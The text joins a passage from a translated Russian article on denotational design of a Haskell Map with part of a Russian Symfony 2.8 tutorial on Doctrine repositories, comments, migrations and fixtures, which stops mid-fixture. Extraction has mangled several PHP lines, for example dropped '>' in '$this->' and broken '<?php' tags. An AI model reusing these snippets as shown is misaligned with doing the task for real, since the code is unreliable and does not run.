μ(union m1 m2) = \k ->
case μ(m1) k of
Just v -> Just v
Nothing -> μ(m2) k
```
Эти определения выражают интуитивные (пусть и, возможно, наивные) смысл и реализацию `Map`. Независимо от окончательной реализации, μ — это функтор, который преобразует эту реализацию в такую же «структуру» (что бы это ни значило) из *функций*.
Это основной принцип денотационного дизайна: любой тип `X`, следующий этому дизайну, должен быть *изоморфен* `μ(X)` — не должно существовать никакого способа различить `X` и `μ(X)` по одному лишь поведению, изнутри программы (то есть, например, профайлер не считается).
Конечно же, это не значит, что `X = μ(X)`. Вопросы производительности или другие инженерные соображения могут сделать такое равенство неразумным — в самом деле, было бы полным безумием на самом деле реализовать `Map` как огромную цепочку вложенных `if`. Достаточно того, что никакая часть фактической реализации не имеет права разрушить нашу хрупкую веру в то, что мы на самом деле работаем с `μ(Map)`. Как ни странно, это весьма желательное свойство: мы гораздо лучше знакомы с обычными функциями и другими базовыми типами, чем с остальной экосистемой языка (включая, возможно, довольно тёмные её уголки).
Условие `X ≅ μ(X)` ограничивает нас гораздо больше, чем это могло бы показаться на первый взгляд. Например, это условие требует, чтобы все инстансы всех тайпклассов совпадали на `X` и на `μ(X)`, так как иначе нам бы удалось их различить.
Наша `Map` очевидным образом является моноидом, так что давайте это выразим:
```
instance Monoid (Map k v) where
mempty = empty
mappend = union
```
Хотя это, конечно, корректный моноид, у нас уже возникли проблемы. Инстанс `Monoid`, который для функций в общем виде выглядит как `Monoid b => Monoid (a -> b)`, для `μ(Map)` после специализации для наших конкретных типов будет выглядеть так:
```
instance Monoid v => Monoid (k -> Maybe v) where
...
```
Сразу ясно, что эти два определения моноидов никак не могут совпадать. Чёрт. Кажется, что-то пошло не так, и наш `μ(Map)` на самом деле не является денотацией `Map`. Впрочем, ничего страшного: ошибки случаются. А мы остались с интересным вопросом: ошибка в нашем смысловом функторе, или же исходный API некорректен?
Гомоморфизмы
============
Наши инстансы `Monoid (Map k v)` и `Monoid μ(Map k v)` не совпадают, то есть, `μ(Map)` *не может* быть денотацией для `Map`. Мы вынуждены жить с тяжёлым знанием о том, что то ли μ, то ли сама `Map` неверна, но без какой-то дополнительной информации мы ничего не можем исправить.
Одно из свойств денотаций — инстансы тайпклассов для них всегда должны быть гомоморфизмами, то есть, в частности, они должны *сохранять структуру*. Это понятие вообще часто возникает при написании инстансов для полиморфных типов.
Например, давайте посмотрим на определение `Functor` для типа-пары `(a, b)`:
```
instance Functor ((,) a) where
fmap f (a, b) = (a, f b)
```
Это стандартный шаблон: распаковываем тип данных, применяем функцию везде, где можем, запаковываем обратно, получая ту же «форму». Вот эта вот часть про «ту же форму» и означает сохранение структуры.
Этот принцип может быть выражен ёмкой фразой: *смысл инстанса является инстансом смысла*. Это условие выполняется для любого смыслового функтора, который на самом деле является денотацией. На практике это значит, что для нашего гипотетического типа `μ(X)` все наши инстансы должны быть такого вида:
```
instance Functor μ(X) where
μ(fmap f x) = fmap f μ(x)
instance Applicative μ(X) where
μ(pure x) = pure x
μ(f <*> x) = μ(f) <*> μ(x)
```
и так далее.
Теперь у нас есть простой тест на корректность смыслового функтора: если какой-либо инстанс не эквивалентен такой форме, то смысл точно неправильный. Давайте посмотрим на реализацию `mempty`:
```
μ(mempty) = \k -> Nothing
= \k -> mempty
= const mempty
= mempty -- (1)
```
В (1) мы сворачиваем `const mempty` в `mempty`, так как это определение для `Monoid ((->) a)`. Пока что наш смысл выглядит как настоящая денотация. Давайте посмотрим на `mappend`:
```
μ(mappend m1 m2) = \k ->
case μ(m1) k of
Just v -> Just v
Nothing -> μ(m2) k
```
Сходу непонятно, как это превратить в гомоморфизм, так что давайте зайдём с другой стороны и посмотрим, получится ли у нас что-то разумное:
```
mappend μ(m1) μ(m2)
= mappend (\k -> v1) (\k -> v2)
= \k -> mappend v1 v2
= \k ->
case v1 of -- (2)
z@(Just a) ->
case v2 of
Just b -> Just $ mappend a b
Nothing -> z
Nothing -> v2
```
В (2) мы используем определение `mappend` для `Maybe`.
Дальше опять непонятно, как продвигаться, но, к счастью, уже ясно, что наши инстансы не совпадают. `mappend` для `μ(Map)` предпочитает ключи слева, тогда как `mappend` для денотации — нет.
Получается, наш смысловой функтор μ неверен: либо представление `μ(Map)` неправильно, либо `μ(mappend)`. К счастью, мы вольны поменять их так, чтобы всё совпадало. При этом мы уверены, что предпочтение левых ключей — желаемое поведение, так что нужно менять представление.
К счастью, есть простое исправление: в `Data.Monoid` есть тип-обёртка [`First`](https://hackage.haskell.org/package/base-4.14.1.0/docs/Data-Monoid.html#t:First), как раз предоставляющий нужную семантику. Подстановка даёт нам
```
μ(Map k v) = k -> First v
```
Последующий анализ для этого определения `μ(Map)` показывает, что требование гомоморфизмов удовлетворено. Соответствующая проверка представляется читателю в качестве упражнения.
(Де)композиция функторов
========================
Мы вывели денотацию `Map` и даже получили разумный инстанс `Monoid`. Возникает следующий вопрос: какие ещё инстансы мы должны обеспечить для `Map`?
Разумеется, `Map` — `Functor`, но является ли она `Applicative`? Конечно, есть *реализации* `Applicative (Map k)`, но неочевидно, какую из них мы должны дать. В частности, какова должна быть семантика `pure 17`? Возможно, мы должны получить `Map` с одним значением (собственно, 17), но какому ключу оно должно соответствовать? Мы не знаем, если не потребуем, чтобы `k` было моноидом.
С другой стороны, мы могли бы вернуть `Map`, в которой *каждый* ключ отображается в 17. Эта реализация согласуется с аппликативным инстансом для `μ(Map)`, но не согласуется с нашей интуицией ⟦ хотя переводчик тут бы поспорил — на мой взгляд, это вполне разумная семантика ⟧. А вообще мы могли бы последовать за `Data.Map.Map`, которая здесь ни рыба, ни мясо, и вообще не предоставляет инстанса `Applicative`.
Но и рыба, и мясо — вкусные, а `Applicative` — довольно полезный класс, и его реализация позволит использовать кучу вещей в экосистеме хаскеля в сочетании с `Map`. В общем случае любой тип, который *может* быть инстансом стандартного класса, *должен* его реализовывать, даже если для этого придётся немного попотеть.
Кажется, мы зашли в тупик, так что мы пока можем задуматься о других изменениях в нашем смысловом функторе, надеясь, что это даст нам идей и для этой задачи.
Возьмём тип [`Compose`](https://hackage.haskell.org/package/base-4.14.1.0/docs/Data-Functor-Compose.html) и снова подумаем о принятых нами ранее решениях (что вообще распространённая практика в денотационном дизайне):
```
data Compose f g a = Compose
{ getCompose :: f (g a)
}
```
`Compose` — прекрасный инструмент для создания новых типов как композиций других типов. Например, рассмотрим смысл `μ(Map k v) = \k -> First v`. Если мы хотим `fmap`нуть `v`, нам придётся писать `fmap` дважды:
```
f :: v -> w
fmap (fmap f) :: μ(Map k v) -> μ(Map k w)
```
Выглядит как несущественная ерунда, но на самом деле тут скрыта большая проблема. Нам не только нужно продираться через два слоя функторов, но, что куда хуже, мы можем сломать нашу абстракцию, используя *один* `fmap`. Например, `fmap (const 5)` превратит наш `μ(Map k v)` в функцию `k -> 5`, которая, конечно, уже никак не связана с `Map`. Блин.
Вместо этого мы можем снова поправить определение `μ(Map k v)`:
```
μ(Map k v) = Compose ((->) k) First v
```
Теперь становится видна ещё одна интерпретация нашего типа. `μ(Map)` — это композиция какого-то *отображения* (`(->) k`) и *частичности* (`First`). Отображение, конечно, является основой нашей концепции, но частичность обосновать сложнее. С одной стороны, можно сказать, что `Nothing` используется для обозначения отсутствующего ключа, но есть и другая интерпретация: `Nothing` — это *значение по умолчанию*.
Если немного пораздумывать о второй интерпретации, то становится ясно, что частичное отображение `k -> Maybe v` — это просто частный случай тотального отображения `k -> v`, где само значение «частичное». Возможно, частичность вообще неважна для семантики, которую мы хотим выразить.
В качестве нашей окончательной (и в итоге правильной) попытки, мы определяем
```
μ(Map k v) = \k -> v
```
Теперь вопрос о том, какие тайпклассы нужно реализовать, становится очевидным — эквивалентные таковым для `k -> v`. Вопрос о том, что должен делать инстанс `Applicative`, тоже разрешается: то же, что и для стрелки.
Стоит отдельно отметить, что хоть мы и определили смысл `Map k v` как `k -> v`, это не значит, что такой же должна быть и *реализация*. Например, можно представить себе такое определение `Map`:
```
data Map k v = Map
{ mapDefVal :: v
, mapTree :: BalancedTree k v
}
lookup :: Ord k => Map k v -> k -> v
lookup m = fromMaybe (mapDefVal m) . treeLookup (mapTree m)
```
Такая реализация даёт нам все асимптотики деревьев вместе с денотациями функций (и, как следствие, *рассуждениями* о `Map` как о функциях).
Надеюсь, что этот пример наглядно показал, как работает денотационный дизайн. Начни с какой-нибудь денотации и безжалостно меняй и уточняй её, пока не получится что-то, выражающее истинный смысл абстракции под вопросом. Прохождение от едва сформированной концепции до элегантного решения — удивительно приятный процесс, да и пользователи засыпят благодарностями. | https://habr.com/ru/post/539230/ | null | ru | null |
# Создание блога на Symfony 2.8 lts [ Часть 4]
[](https://habrahabr.ru/post/302602/)
**Навигация по частям руководства**
> [Часть 1 — Конфигурация Symfony2 и шаблонов](https://habrahabr.ru/post/301760/)
>
> [Часть 2 — Страница с контактной информацией: валидаторы, формы и электронная почта](https://habrahabr.ru/post/302032/)
>
> [Часть 3 — Doctrine 2 и Фикстуры данных](https://habrahabr.ru/post/302438/)
>
> [Часть 5 — Twig расширения, Боковая панель(sidebar) и Assetic](https://habrahabr.ru/post/303114/)
>
> [Часть 6 — Модульное и Функциональное тестирование](https://habrahabr.ru/post/303578/)
>
>
Проект на [Github](https://github.com/AntoscencoVladimir/symfony-blog.git)
> Узнать как установить нужную вам часть руководства, можно в описании к репозиторию по [ссылке](https://github.com/AntoscencoVladimir/symfony-blog). (Например, если вы хотите начать с это урока не проходя предыдущий)
>
>
#### Домашняя страница
Мы начнём эту часть с создания домашней страницы. В обычном блоге записи обычно отсортированы от новых к старым. Запись целиком будет доступна по ссылке со страницы блога. Так как мы уже создали маршрут, контроллер и отображение для домашней страницы мы можем легко их обновить.
#### Получение записей. Выполнение запросов к базе данных.
Чтобы отобразить записи блога нам необходимо их извлечь из базы данных. Doctrine 2 предоставляет нам [Doctrine Query Language (DQL)](http://docs.doctrine-project.org/projects/doctrine-orm/en/latest/reference/dql-doctrine-query-language.html) и [QueryBuilder](http://docs.doctrine-project.org/projects/doctrine-orm/en/latest/reference/query-builder.html) для достижения этой цели (Вы можете также сделать обычный SQL запрос через Doctrine 2, но такой метод не рекомендуется, поскольку это уводит нас от абстракции базы данных которую предоставляет нам Doctrine 2. Мы будем использовать QueryBuilder, поскольку он обеспечивает хороший объектно-ориентированный способ для нас, чтобы сгенерировать DQL, который мы можем использовать для запросов к базе. Давайте обновим метод indexAction в контроллере Page расположенного `src/Blogger/BlogBundle/Controller/PageController.php` для получения записей из базы данных. **Вставьте следующий код**
```
// src/Blogger/BlogBundle/Controller/PageController.php
class PageController extends Controller
{
public function indexAction()
{
$em = $this->getDoctrine()
->getManager();
$blogs = $em->createQueryBuilder()
->select('b')
->from('BloggerBlogBundle:Blog', 'b')
->addOrderBy('b.created', 'DESC')
->getQuery()
->getResult();
return $this->render('BloggerBlogBundle:Page:index.html.twig', array(
'blogs' => $blogs
));
}
// ..
}
```
Мы начали с получения экземпляра QueryBuilder из Manager. Это позволит начать создавать запрос используя множество методов, которые предоставляет нам QueryBuilder. Полный список доступных методов можно посмотреть в документации к QueryBuilder. Лучше всего начать с [вспомогательных методов](http://docs.doctrine-project.org/projects/doctrine-orm/en/latest/reference/query-builder.html#helper-methods). Это такие методы как select(), from() и addOrderBy(). Как и в случае предыдущих взаимодействий с Doctrine 2, мы можем использовать короткие аннотации для обращения к сущности Blog через BloggerBlogBundle:Blog *(учтите, это тоже самое что и Blogger\BlogBundle\Entity\Blog)*. Когда мы закончили, указывать критерии для запроса, мы вызываем метод getQuery(), который возвращает экземпляр DQL. Мы не можем получить результаты из объекта QueryBuilder, мы всегда должны сначала преобразовать это в экземпляр DQL. Экземпляр объекта DQL предоставляет нам метод getResult() который возвращает коллекцию записей Блога. Позже мы увидим, что экземпляр объекта DQL имеет целый ряд методов для возврата результатов, включая getSingleResult() и getArrayResult().
#### Отображение
Теперь у нас есть коллекция записей и нам нужно отобразить их. Замените контент домашней страницы, расположенной `src/Blogger/BlogBundle/Resources/views/Page/index.html.twig` **следующим**
```
{# src/Blogger/BlogBundle/Resources/views/Page/index.html.twig #}
{% extends 'BloggerBlogBundle::layout.html.twig' %}
{% block body %}
{% for blog in blogs %}
{{ blog.created|date('l, F j, Y') }}
[{{ blog.title }}]({{ path('BloggerBlogBundle_blog_show', { 'id': blog.id }) }})
--------------------------------------------------------------------------------
 }})
{{ blog.blog(500) }}
[Continue reading...]({{ path('BloggerBlogBundle_blog_show', { 'id': blog.id }) }})
Comments: -
Posted by {{blog.author}} at {{ blog.created|date('h:iA') }}
Tags: {{ blog.tags }}
{% else %}
There are no blog entries for symblog
{% endfor %}
{% endblock %}
```
Мы ввели одну из управляющих структур Twig, *for..else..endfor*. Если вы ранее не использовали шаблонизаторы, вероятно вам будет знаком следующий PHP код.
```
php if (count($blogs)): ?
php foreach ($blogs as $blog): ?
php echo $blog-getTitle() ?>h1
php endforeach ?
php else: ?
There are no blog entries
php endif ?
=====================================================================================================
```
Управляющая структура Twig *for..else..endfor* представляет собой более простой способ достижения этой задачи. Большая часть кода в шаблоне домашней страницы касается вывода информации блога в формате HTML. Однако, здесь есть несколько моментов которые нам нужно учесть. Во-первых, мы используем Twig path функцию для создания маршрутов. Так как страница блога требует ID записи переданной в URL, мы должны вставить его в качестве аргумента в функцию path. Это можно увидеть в этом фрагменте кода:
```
[{{ blog.title }}]({{ path('BloggerBlogBundle_blog_show', { 'id': blog.id }) }})
--------------------------------------------------------------------------------
```
Во-вторых мы возвращаем контент используя
```
{{blog.blog(500) }}
```
Число 500 является максимальной длиной поста который мы хотим получить обратно из функции. Для этого нам необходимо обновить метод getBlog, который Doctrine 2 сгенерировало для нас ранее. Обновите метод getBlog в сущности Blog, расположенный
```
src/Blogger/BlogBundle/Entity/Blog.php
```
```
// src/Blogger/BlogBundle/Entity/Blog.php
public function getBlog($length = null)
{
if (false === is_null($length) && $length > 0)
return substr($this->blog, 0, $length);
else
return $this->blog;
}
```
Так как метод getBlog должен вернуть весь пост в блоге, мы установим параметр **$length** который будет иметь значение по умолчанию **null**. Если передается значение **null**, возвращается вся запись.
Теперь, если вы введете в ваш браузер [localhost:8000](http://localhost:8000) вы должны увидеть домашнюю страницу, отображающую последние записи в блоге. У вас также должна быть возможность перейти к полной записи блога, нажав на название записи или на ссылку "*Продолжить чтение… (Continue reading)*".
В то время как мы можем запросить записи в контроллере, это не самое лучшее место для этого. Запрос будет лучше разместить за пределами контроллера из-за целого ряда причин:
Мы не сможем повторно использовать запрос в другом месте приложения, без дублирования кода QueryBuilder.
Если бы мы продублировали код QueryBuilder, мы должны были бы сделать несколько изменений в будущем, если запрос нуждался бы в изменении.
Разделение запроса и контроллера позволит нам протестировать запрос независимо от контроллера.
Doctrine 2 предоставляет классы Репозитория для облегчения этой задачи.
#### Репозитории Doctrine 2
Мы уже немного поговорили о классах Репозитория Doctrine 2 в предыдущей главе, когда мы создавали страницу блога. Мы использовали реализацию класса по умолчанию *Doctrine\ORM\EntityRepository* для извлечения записи блога из базы данных с помощью метода find(). Так как нам нужен пользовательский запрос к базе, нам нужно создать пользовательский Репозиторий. Doctrine 2 может помочь в решении этой задачи. Обновите метаданные сущности Blog в файле *src/Blogger/BlogBundle/Entity/Blog.php*
```
// src/Blogger/BlogBundle/Entity/Blog.php
/**
* @ORM\Entity(repositoryClass="Blogger\BlogBundle\Entity\Repository\BlogRepository")
* @ORM\Table(name="blog")
* @ORM\HasLifecycleCallbacks()
*/
class Blog
{
// ..
}
```
Вы можете видеть, что мы определили пространство имен для класса BlogRepository с которым эта сущность ассоциирована. Так как мы обновили метаданные Doctrine 2 для сущности Blog, нам необходимо повторно запустить команду **doctrine:generate:entities** следующим образом.
```
$ php app/console doctrine:generate:entities Blogger\BlogBundle
```
Doctrine 2 создаст оболочку класса BlogRepository, расположенного `src/Blogger/BlogBundle/Entity/Repository/BlogRepository.php`
```
php
namespace Blogger\BlogBundle\Entity\Repository;
/**
* BlogRepository
*
* This class was generated by the Doctrine ORM. Add your own custom
* repository methods below.
*/
class BlogRepository extends \Doctrine\ORM\EntityRepository
{
}
</code
```
Класс BlogRepository расширяет класс EntityRepository который предоставляет метод find(), который мы использовали ранее. Давайте обновим класс BlogRepository, переместив в него код QueryBuilder из контроллера Page.
```
php
namespace Blogger\BlogBundle\Entity\Repository;
/**
* BlogRepository
*
* This class was generated by the Doctrine ORM. Add your own custom
* repository methods below.
*/
class BlogRepository extends \Doctrine\ORM\EntityRepository
{
public function getLatestBlogs($limit = null)
{
$qb = $this-createQueryBuilder('b')
->select('b')
->addOrderBy('b.created', 'DESC');
if (false === is_null($limit))
$qb->setMaxResults($limit);
return $qb->getQuery()
->getResult();
}
}
```
Мы создали метод getLatestBlogs который будет возвращать последние записи в блоге, таким же образом как код QueryBuilder делал это в контроллере. В классе репозитория мы имеем прямой доступ к QueryBuilder с помощью метода createQueryBuilder(). Мы также добавили параметр по умолчанию $limit, таким образом мы можем ограничить количество возвращаемых результатов. Результатом запроса будет то же, что было в случае с контроллером. Вы, возможно, заметили, что нам нет нужды указывать объект с помощью метода from(). Это связано с тем, что мы находимся в BlogRepository, который связан с сущностью Blog. Если мы посмотрим на реализацию метода createQueryBuilder в классе EntityRepository мы можем увидеть, что метод from() был вызван для нас.
```
// Doctrine\ORM\EntityRepository
public function createQueryBuilder($alias, $indexBy = null)
{
return $this->_em->createQueryBuilder()
->select($alias)
->from($this->_entityName, $alias, $indexBy);
}
```
Наконец давайте обновим метод indexAction в контроллере Page для использования BlogRepository.
```
// src/Blogger/BlogBundle/Controller/PageController.php
class PageController extends Controller
{
public function indexAction()
{
$em = $this->getDoctrine()
->getManager();
$blogs = $em->getRepository('BloggerBlogBundle:Blog')
->getLatestBlogs();
return $this->render('BloggerBlogBundle:Page:index.html.twig', array(
'blogs' => $blogs
));
}
// ..
}
```
Теперь, когда мы обновим домашнюю страницу будет выведено точно тоже самое, что и раньше. Все, что мы сделали, это реорганизовали код так, чтобы правильно оформленные классы выполняли задачи правильно.
#### Подробнее о модели: Создание сущности Comment
Записи — это только половина истории, когда речь идет о ведении блога. Мы также должны позволить читателям возможность комментировать записи в блоге. Эти комментарии также должны быть сохранены и связаны с сущностью Blog так как запись может содержать много комментариев.
Мы начнем с определения основы, класса сущности Comment. Создайте новый файл, расположенный в `src/Blogger/BlogBundle/Entity/Comment.php` и вставьте **следующее**
```
php
// src/Blogger/BlogBundle/Entity/Comment.php
namespace Blogger\BlogBundle\Entity;
use Doctrine\ORM\Mapping as ORM;
/**
* @ORM\Entity(repositoryClass="Blogger\BlogBundle\Entity\Repository\CommentRepository")
* @ORM\Table(name="comment")
* @ORM\HasLifecycleCallbacks
*/
class Comment
{
/**
* @ORM\Id
* @ORM\Column(type="integer")
* @ORM\GeneratedValue(strategy="AUTO")
*/
protected $id;
/**
* @ORM\Column(type="string")
*/
protected $user;
/**
* @ORM\Column(type="text")
*/
protected $comment;
/**
* @ORM\Column(type="boolean")
*/
protected $approved;
/**
* @ORM\ManyToOne(targetEntity="Blog", inversedBy="comments")
* @ORM\JoinColumn(name="blog_id", referencedColumnName="id")
*/
protected $blog;
/**
* @ORM\Column(type="datetime")
*/
protected $created;
/**
* @ORM\Column(type="datetime")
*/
protected $updated;
public function __construct()
{
$this-setCreated(new \DateTime());
$this->setUpdated(new \DateTime());
$this->setApproved(true);
}
/**
* @ORM\preUpdate
*/
public function setUpdatedValue()
{
$this->setUpdated(new \DateTime());
}
}
```
Большую часть того, что вы здесь видите, мы уже рассмотрели в предыдущей части, однако мы использовали метаданные для создания ссылки на сущность Blog. Так как комментарий относится к записи, мы установили ссылку в сущности Comment к сущности Blog к которой она принадлежит. Мы сделали это указав ссылку ManyToOne к сущности Blog. Мы также указали, что обратная связь для этой ссылки будет доступна через комментарии. Чтобы инвертировать, нам нужно обновить сущность Blog так Doctrine 2 будет знать, что запись может содержать много комментариев. Обновите сущность Blog `src/Blogger/BlogBundle/Entity/Blog.php`
**Вставьте код**
```
php
// src/Blogger/BlogBundle/Entity/Blog.php
namespace Blogger\BlogBundle\Entity;
use Doctrine\ORM\Mapping as ORM;
use Doctrine\Common\Collections\ArrayCollection;
/**
* @ORM\Entity(repositoryClass="Blogger\BlogBundle\Entity\Repository\BlogRepository")
* @ORM\Table(name="blog")
* @ORM\HasLifecycleCallbacks
*/
class Blog
{
// ..
/**
* @ORM\OneToMany(targetEntity="Comment", mappedBy="blog")
*/
protected $comments;
// ..
public function __construct()
{
$this-comments = new ArrayCollection();
$this->setCreated(new \DateTime());
$this->setUpdated(new \DateTime());
}
// ..
}
```
Есть несколько изменений на которые нужно указать. Во-первых, мы добавили метаданные к объекту $comments. Помните, в предыдущей главе мы не добавляли метаданные для этого объекта, потому что мы не хотели, чтобы Doctrine 2 его сохраняла? Это по-прежнему так, однако, мы хотим, чтобы Doctrine 2, имела возможность заполнить этот объект соответствующими записями Comment. То есть то, что позволяют достичь метаданные. Во-вторых, Doctrine 2 требует, чтобы мы установили значение по умолчанию для объекта $comments в ArrayCollection. Мы сделаем это в конструкторе. Кроме того, обратите внимание на заявление **use** импортирующее класс ArrayCollection.
Так как мы создали сущность Comment и обновили сущность Blog, давайте создадим методы доступа. Выполните следующую команду Doctrine 2.
```
$ php app/console doctrine:generate:entities Blogger\BlogBundle
```
Обе сущности будут обновлены с корректными методами доступа. Вы также заметите, что в
`src/Blogger/BlogBundle/Entity/Repository/CommentRepository.php`
был создан класс CommentRepository, так как мы указали это в метаданных.
Наконец, мы должны обновить базу данных, чтобы отразить изменения в наших сущностях. Мы могли бы воспользоваться командой *doctrine:schema:update* которая показана ниже, чтобы сделать это, но вместо этого мы расскажем о Миграциях Doctrine 2.
```
$ php app/console doctrine:schema:update --force
```
#### Миграции Doctrine 2
Расширение Миграций Doctrine 2 и бандл не поставляется с Symfony2, мы должны вручную их установить. Откройте файл *composer.json* расположенный в корне проекта и вставьте зависимости Миграций Doctrine 2 и бандл как показано ниже.
```
"require": {
// ...
"doctrine/doctrine-migrations-bundle": "dev-master",
"doctrine/migrations": "dev-master"
}
```
Далее обновите библиотеки командой.
```
$ composer update
```
Это обновит все библиотеки с Github и установит их в необходимые директории.
Теперь давайте зарегистрируем бандл в kernel расположенного в *app/AppKernel.php*
```
// app/AppKernel.php
public function registerBundles()
{
$bundles = array(
// ...
new Doctrine\Bundle\MigrationsBundle\DoctrineMigrationsBundle(),
// ...
);
// ...
}
```
Теперь мы готовы обновить базу данных чтобы отразить изменения в сущности, этот процесс, пройдёт в 2 этапа. Во-первых, мы должны поручить Миграциям Doctrine 2 поработать с различиями между сущностями и текущей схемой базы данных. Это делается командой doctrine:migrations:diff. Во-вторых, мы должны выполнить миграцию, основанную на данных созданных первой командой. Это делается командой *doctrine:migrations:migrate*.
Выполните следующие 2 команды для того чтобы обновить схему базы данных.
```
$ php app/console doctrine:migrations:diff
$ php app/console doctrine:migrations:migrate
```
На предупреждение, показанное ниже отвечаем **yes**.
WARNING! You are about to execute a database migration that could result in schema changes and data lost. Are you sure you wish to continue? (y/n): **yes**
Теперь ваша база данных будет отражать последние изменения сущностей и содержать новую таблицу комментариев.
> *Заметка*
>
>
>
> Вы также увидите новую таблицу в базе данных под названием *migration\_versions*. Она хранит номера версий миграций поэтому есть команда, с помощью которой можно узнать какая на данный момент версия базы данных.
>
>
> *Совет*
>
>
>
> Миграции Doctrine 2 являются отличным способом для обновления базы данных на production, поскольку изменения можно сделать программно. Это означает, что мы можем интегрировать эту задачу в сценарий развертывания проекта, поэтому база данных обновится автоматически при развертывании новой версии приложения. Миграции Doctrine 2 также позволяют откатить изменения, так как каждая миграция имеет up и down метод. Чтобы откатиться к предыдущей версии вам необходимо указать номер версии, на которую вы хотели бы вернуться, сделать это можно, так как показано ниже.
>
>
> ```
> $ php app/console doctrine:migrations:migrate 20110806183439
>
> ```
>
>
>
#### Фикстуры данных
Теперь у нас есть сущность Comment, давайте добавим Фикстуры данных. Это хороший момент, в то время, когда вы создаете сущность. Мы знаем, что комментарий должен иметь связь с сущностью Blog, как мы указали это в метаданных, поэтому при создании фикстур для сущностей Comment нам нужно будет указать сущность Blog. Мы уже создали фикстуры для сущности Blog таким образом, мы могли бы просто обновить этот файл, чтобы добавить сущности Comment. Это может быть управляемым сейчас, но что произойдёт, когда мы позже добавим пользователей и другие сущности в наш бандл? Лучше всего будет создать новый файл для фикстур сущности Comment. Проблемой в этом подходе является то как мы получим доступ к записям Blog из фикстур блога.
К счастью, это может быть легко достигнуто путем добавления ссылки на объекты в файле фикстур к которому другие файлы фикстур имеют доступ. Обновите Фикстуры данных сущности Blog расположенной `src/Blogger/BlogBundle/DataFixtures/ORM/BlogFixtures.php`
**следующим**
```
php
// src/Blogger/BlogBundle/DataFixtures/ORM/BlogFixtures.php
namespace Blogger\BlogBundle\DataFixtures\ORM;
use Doctrine\Common\DataFixtures\AbstractFixture;
use Doctrine\Common\DataFixtures\OrderedFixtureInterface;
use Doctrine\Common\Persistence\ObjectManager;
use Blogger\BlogBundle\Entity\Blog;
class BlogFixtures extends AbstractFixture implements OrderedFixtureInterface
{
public function load(ObjectManager $manager)
{
// ..
$manager-flush();
$this->addReference('blog-1', $blog1);
$this->addReference('blog-2', $blog2);
$this->addReference('blog-3', $blog3);
$this->addReference('blog-4', $blog4);
$this->addReference('blog-5', $blog5);
}
public function getOrder()
{
return 1;
}
}
```
Изменения, которые здесь стоит отметить, расширение класса AbstractFixture и реализация OrderedFixtureInterface. Также обратите внимание на 2 новых **use** оператора импортирующие эти классы.
Мы добавляем ссылки на сущности блог с помощью метода addReference(). Этот первый параметр является идентификатором ссылки, которую мы можем использовать для извлечения объекта позже. В конце мы должны реализовать метод getOrder() чтобы указать порядок загрузки фикстур. Записи должны быть загружены до комментариев поэтому мы возвращаем 1.
#### Фикстуры Comment
Теперь мы готовы определить фикстуры для сущности Comment. Создайте файл фикстур `src/Blogger/BlogBundle/DataFixtures/ORM/CommentFixtures.php`
и вставьте **следующее**
```
php
// src/Blogger/BlogBundle/DataFixtures/ORM/CommentFixtures.php
namespace Blogger\BlogBundle\DataFixtures\ORM;
use Doctrine\Common\DataFixtures\AbstractFixture;
use Doctrine\Common\DataFixtures\OrderedFixtureInterface;
use Doctrine\Common\Persistence\ObjectManager;
use Blogger\BlogBundle\Entity\Comment;
use Blogger\BlogBundle\Entity\Blog;
class CommentFixtures extends AbstractFixture implements OrderedFixtureInterface
{
public function load(ObjectManager $manager)
{
$comment = new Comment();
$comment-setUser('symfony');
$comment->setComment('To make a long story short. You can\'t go wrong by choosing Symfony! And no one has ever been fired for using Symfony.');
$comment->setBlog($manager->merge($this->getReference('blog-1')));
$manager->persist($comment);
$comment = new Comment();
$comment->setUser('David');
$comment->setComment('To make a long story short. Choosing a framework must not be taken lightly; it is a long-term commitment. Make sure that you make the right selection!');
$comment->setBlog($manager->merge($this->getReference('blog-1')));
$manager->persist($comment);
$comment = new Comment();
$comment->setUser('Dade');
$comment->setComment('Anything else, mom? You want me to mow the lawn? Oops! I forgot, New York, No grass.');
$comment->setBlog($manager->merge($this->getReference('blog-2')));
$manager->persist($comment);
$comment = new Comment();
$comment->setUser('Kate');
$comment->setComment('Are you challenging me? ');
$comment->setBlog($manager->merge($this->getReference('blog-2')));
$comment->setCreated(new \DateTime("2011-07-23 06:15:20"));
$manager->persist($comment);
$comment = new Comment();
$comment->setUser('Dade');
$comment->setComment('Name your stakes.');
$comment->setBlog($manager->merge($this->getReference('blog-2')));
$comment->setCreated(new \DateTime("2011-07-23 06:18:35"));
$manager->persist($comment);
$comment = new Comment();
$comment->setUser('Kate');
$comment->setComment('If I win, you become my slave.');
$comment->setBlog($manager->merge($this->getReference('blog-2')));
$comment->setCreated(new \DateTime("2011-07-23 06:22:53"));
$manager->persist($comment);
$comment = new Comment();
$comment->setUser('Dade');
$comment->setComment('Your SLAVE?');
$comment->setBlog($manager->merge($this->getReference('blog-2')));
$comment->setCreated(new \DateTime("2011-07-23 06:25:15"));
$manager->persist($comment);
$comment = new Comment();
$comment->setUser('Kate');
$comment->setComment('You wish! You\'ll do shitwork, scan, crack copyrights...');
$comment->setBlog($manager->merge($this->getReference('blog-2')));
$comment->setCreated(new \DateTime("2011-07-23 06:46:08"));
$manager->persist($comment);
$comment = new Comment();
$comment->setUser('Dade');
$comment->setComment('And if I win?');
$comment->setBlog($manager->merge($this->getReference('blog-2')));
$comment->setCreated(new \DateTime("2011-07-23 10:22:46"));
$manager->persist($comment);
$comment = new Comment();
$comment->setUser('Kate');
$comment->setComment('Make it my first-born!');
$comment->setBlog($manager->merge($this->getReference('blog-2')));
$comment->setCreated(new \DateTime("2011-07-23 11:08:08"));
$manager->persist($comment);
$comment = new Comment();
$comment->setUser('Dade');
$comment->setComment('Make it our first-date!');
$comment->setBlog($manager->merge($this->getReference('blog-2')));
$comment->setCreated(new \DateTime("2011-07-24 18:56:01"));
$manager->persist($comment);
$comment = new Comment();
$comment->setUser('Kate');
$comment->setComment('I don\'t DO dates. But I don\'t lose either, so you\'re on!');
$comment->setBlog($manager->merge($this->getReference('blog-2')));
$comment->setCreated(new \DateTime("2011-07-25 22:28:42"));
$manager->persist($comment);
$comment = new Comment();
$comment->setUser('Stanley');
$comment->setComment('It\'s not gonna end like this.');
$comment->setBlog($manager->merge($this->getReference('blog-3')));
$manager->persist($comment);
$comment = new Comment();
$comment->setUser('Gabriel');
$comment->setComment('Oh, come on, Stan. Not everything ends the way you think it should. Besides, audiences love happy endings.');
$comment->setBlog($manager->merge($this->getReference('blog-3')));
$manager->persist($comment);
$comment = new Comment();
$comment->setUser('Mile');
$comment->setComment('Doesn\'t Bill Gates have something like that?');
$comment->setBlog($manager->merge($this->getReference('blog-5')));
$manager->persist($comment);
$comment = new Comment();
$comment->setUser('Gary');
